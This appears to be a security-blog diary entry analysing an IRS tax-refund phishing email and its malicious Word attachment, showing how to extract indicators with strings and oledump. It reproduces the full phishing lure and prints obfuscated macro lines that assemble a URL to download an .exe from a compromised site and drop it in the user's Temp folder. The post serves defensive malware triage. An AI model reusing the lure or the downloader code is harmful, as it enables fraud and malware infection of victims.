Last Updated: 2015-02-20 01:12:19 UTC
by Tom Webb (Version: 1)
It’s tax time and I’m starting to see a lot of Phish/SPAM about this subject. Below is popular one the last couple of days.
TAХ RЕTURN FOR ТНE YEАR 2014
RЕCАLCULАTION ОF YOUR ТАХ RЕFUND
LOСАL OFFIСE No. 2669
ТАX СREDIТ ОFFICЕR: Jimmie Bеnton
TАХ REFUND ID NUМВER: 2440409
REFUND AМOUNТ: 2709.81 USD
The соntents оf this emаil and аnу attachmеnts arе соnfidentiаl and аs
арpliсablе, сорyright in thеse is resеrvеd tо IRS Rеvеnuе Customs.
Unless eхprеsslу аuthorised bу us, any further dissеmination or
distributiоn of this еmail оr its аttaсhmеnts is рrоhibited.
If you are nоt the intеnded rеcipiеnt оf this emаil, plеаsе reрly to
infоrm us thаt уоu have rесеived this еmаil in error and thеn
deletе it without retaining аnу сoрy.
I am sеnding this emаil to annоunсe: After the lаst аnnuаl саlсulаtiоn оf
yоur fiscаl аctivitу we hаvе determined that yоu аrе еligiblе to
rесеive a tаx refund оf 2709.81 USD
Yоu havе attaсhed the taх return form with the TАX RЕFUND NUMВЕR
ID: 2440409, сomplеte the tах rеturn fоrm аttаched to this mеssagе.
Aftеr соmрleting the form, pleаsе submit thе fоrm by clicking thе
SUВMIТ buttоn оn fоrm.
IRS Tax Credit Оffice
ТAХ RЕFUND ID: US2440409-IRS
© Сорyright 2015, IRS Rеvenue &аmр; Сustоms US
Аll rights rеserved.
With so many of these types of mails, analysis needs to be quick to determine who may have been affected. Here is the process.
1. Rename the .doc file to .zip
$mv tax_refund_2440409.zip MALWARE-tax_refund_2440409.zip
2. Unzip file
3. The vbaProject.bin is the code we want to look at and need to run strings on it.
Select * from Win32_OperatingSystem
ping 188.8.131.52 -n
$someFilePath = 'c:\Users\
Within about 2 minutes I was able to determine some basic IOCs and sees if anyone actually accessed the site or tried to ping the address.
If you want to dig deeper and spend a bit more time, you can install and configure oledump which was discussed on (hxxps://isc.sans.edu/diary/oledump+analysis+of+Rocket+Kitten+-+Guest+Diary+by+Didier+Stevens/19137).
To list all the parts of the file, just run the script with no switches.
$python oledump_V0_0_8/oledump.py MALWARE-tax_refund_2440409.doc
A1: 556 'PROJECT'
A2: 71 'PROJECTwm'
A3: 97 'UserForm1/\x01CompObj'
A4: 266 'UserForm1/\x03VBFrame'
A5: 58 'UserForm1/f'
A6: 0 'UserForm1/o'
A7: M 25751 'VBA/ThisDocument'
A8: m 1159 'VBA/UserForm1'
A9: 4506 'VBA/_VBA_PROJECT'
A10: 811 'VBA/dir'
To get the whole script use the following.
$python oledump.py -s A7 -v MALWARE-tax_refund_2440409.doc
The output is sent to the screen to look at.
Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://www.zaphira.de/wp-admin/includes/file" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)
Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"
In this case, oledump gave us a lot more info, but proves we were on the right track with simple strings of the file. Additionally, we can see an infected user may have a file called 444.exe . There are lots more local IOC’s we could create, but with the few network IOC’s we can get fast idea of possible affected users.